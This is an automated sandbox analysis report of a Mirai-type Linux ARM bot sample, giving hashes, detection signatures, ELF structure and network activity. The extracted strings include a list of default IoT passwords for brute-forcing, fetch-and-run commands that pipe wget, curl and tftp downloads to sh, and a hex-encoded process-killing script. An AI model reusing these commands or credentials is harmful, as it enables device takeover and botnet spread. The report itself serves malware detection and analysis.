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Linux Analysis Report
la.bot.arm6.elf

Overview

General Information

Sample name:la.bot.arm6.elf
Analysis ID:1543061
MD5:2cfe096a8ac1fa77d56e67edb2815b66
SHA1:1e13e2b8106ab601d21b6e636a1ea915ad58ecf7
SHA256:588878dc8be9a6876f1d01d8a148da2080e7b6b8392465ab408b1e3db1765d73
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1543061
Start date and time:2024-10-27 07:32:13 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 30s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
Command:/tmp/la.bot.arm6.elf
PID:5530
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.arm6.elf (PID: 5530, Parent: 5448, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.arm6.elfReversingLabs: Detection: 34%
Source: la.bot.arm6.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm6.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm6.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4$
Source: /tmp/la.bot.arm6.elf (PID: 5530)Socket: 127.0.0.1:1234Jump to behavior
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm6.elfString found in binary or memory: http:///curl.sh
Source: la.bot.arm6.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/11/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/22/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/55/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/66/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/88/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/99/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/111/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/222/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/333/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)File opened: /proc/777/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5530)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm6.elf, 5530.1.00007fffa3f18000.00007fffa3f39000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm6.elf
Source: la.bot.arm6.elf, 5530.1.00005592e42c9000.00005592e4417000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 5530.1.00005592e42c9000.00005592e4417000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 5530.1.00007fffa3f18000.00007fffa3f39000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm6.elf, 5530.1.00007fffa3f18000.00007fffa3f39000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
la.bot.arm6.elf34%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
SourceDetectionScannerLabelLink
daisy.ubuntu.com0%VirustotalBrowse
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalseunknown
NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.arm6.elffalse
    unknown
    http:///curl.shla.bot.arm6.elffalse
      unknown
      No contacted IP infos
      No context
      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
      daisy.ubuntu.comla.bot.mips.elfGet hashmaliciousUnknownBrowse
      • 162.213.35.25
      kkkarm5.elfGet hashmaliciousUnknownBrowse
      • 162.213.35.24
      kkkarm7.elfGet hashmaliciousUnknownBrowse
      • 162.213.35.24
      kkkarm6.elfGet hashmaliciousUnknownBrowse
      • 162.213.35.24
      arm5.elfGet hashmaliciousUnknownBrowse
      • 162.213.35.25
      FBI.mpsl.elfGet hashmaliciousGafgyt, MiraiBrowse
      • 162.213.35.24
      FBI.mips64.elfGet hashmaliciousGafgyt, MiraiBrowse
      • 162.213.35.24
      FBI.x86.elfGet hashmaliciousGafgyt, MiraiBrowse
      • 162.213.35.25
      FBI.arm6.elfGet hashmaliciousGafgyt, MiraiBrowse
      • 162.213.35.24
      FBI.arm7.elfGet hashmaliciousGafgyt, MiraiBrowse
      • 162.213.35.25
      No context
      No context
      No context
      No created / dropped files found
      File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
      Entropy (8bit):6.011763512432021
      TrID:
      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
      File name:la.bot.arm6.elf
      File size:87'628 bytes
      MD5:2cfe096a8ac1fa77d56e67edb2815b66
      SHA1:1e13e2b8106ab601d21b6e636a1ea915ad58ecf7
      SHA256:588878dc8be9a6876f1d01d8a148da2080e7b6b8392465ab408b1e3db1765d73
      SHA512:c349ebfe92c3b93803a7683ab722e6647c542d82b797794bf0a82217db5c8092a1ebae496509384f0b3388024de035d9166752dd880b5cda2facd7b7a95b93de
      SSDEEP:1536:mHnSrfkk83yqQ8aYBtBNk3tNM0X9w8S+j64dAhiyOTrxdGD/inOgXHLw3yonzsTB:Pfkk83xQ8aYBtBNkk0X9w8S+j644POHp
      TLSH:A283F85AB981CE16C5D846BEFE0F918E332367A8E3DF7213CD246B10378A55B0A7B511
      File Content Preview:.ELF..............(.....T...4...lT......4. ...(......................J...J...............P...P...P......xi..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..T.......P....-.@0....S

      ELF header

      Class:ELF32
      Data:2's complement, little endian
      Version:1 (current)
      Machine:ARM
      Version Number:0x1
      Type:EXEC (Executable file)
      OS/ABI:UNIX - System V
      ABI Version:0
      Entry Point Address:0x8154
      Flags:0x4000002
      ELF Header Size:52
      Program Header Offset:52
      Program Header Size:32
      Number of Program Headers:3
      Section Header Offset:87148
      Section Header Size:40
      Number of Section Headers:12
      Header String Table Index:11
      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
      NULL0x00x00x00x00x0000
      .initPROGBITS0x80940x940x100x00x6AX004
      .textPROGBITS0x80b00xb00x12ac40x00x6AX0016
      .finiPROGBITS0x1ab740x12b740x100x00x6AX004
      .rodataPROGBITS0x1ab840x12b840x1f200x00x2A004
      .eh_framePROGBITS0x250000x150000x40x00x3WA004
      .init_arrayINIT_ARRAY0x250040x150040x40x00x3WA004
      .fini_arrayFINI_ARRAY0x250080x150080x40x00x3WA004
      .gotPROGBITS0x250100x150100x740x40x3WA004
      .dataPROGBITS0x250840x150840x3900x00x3WA004
      .bssNOBITS0x254140x154140x65640x00x3WA004
      .shstrtabSTRTAB0x00x154140x570x00x0001
      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
      LOAD0x00x80000x80000x14aa40x14aa46.08560x5R E0x8000.init .text .fini .rodata
      LOAD0x150000x250000x250000x4140x69784.10770x6RW 0x8000.eh_frame .init_array .fini_array .got .data .bss
      GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
      TimestampSource PortDest PortSource IPDest IP
      Oct 27, 2024 07:33:07.602209091 CET5613353192.168.2.151.1.1.1
      Oct 27, 2024 07:33:07.602209091 CET5843253192.168.2.151.1.1.1
      Oct 27, 2024 07:33:07.609488964 CET53584321.1.1.1192.168.2.15
      Oct 27, 2024 07:33:07.610665083 CET53561331.1.1.1192.168.2.15
      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
      Oct 27, 2024 07:33:07.602209091 CET192.168.2.151.1.1.10x6179Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
      Oct 27, 2024 07:33:07.602209091 CET192.168.2.151.1.1.10xa95eStandard query (0)daisy.ubuntu.com28IN (0x0001)false
      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
      Oct 27, 2024 07:33:07.610665083 CET1.1.1.1192.168.2.150x6179No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
      Oct 27, 2024 07:33:07.610665083 CET1.1.1.1192.168.2.150x6179No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

      System Behavior

      Start time (UTC):06:33:04
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.arm6.elf
      Arguments:/tmp/la.bot.arm6.elf
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1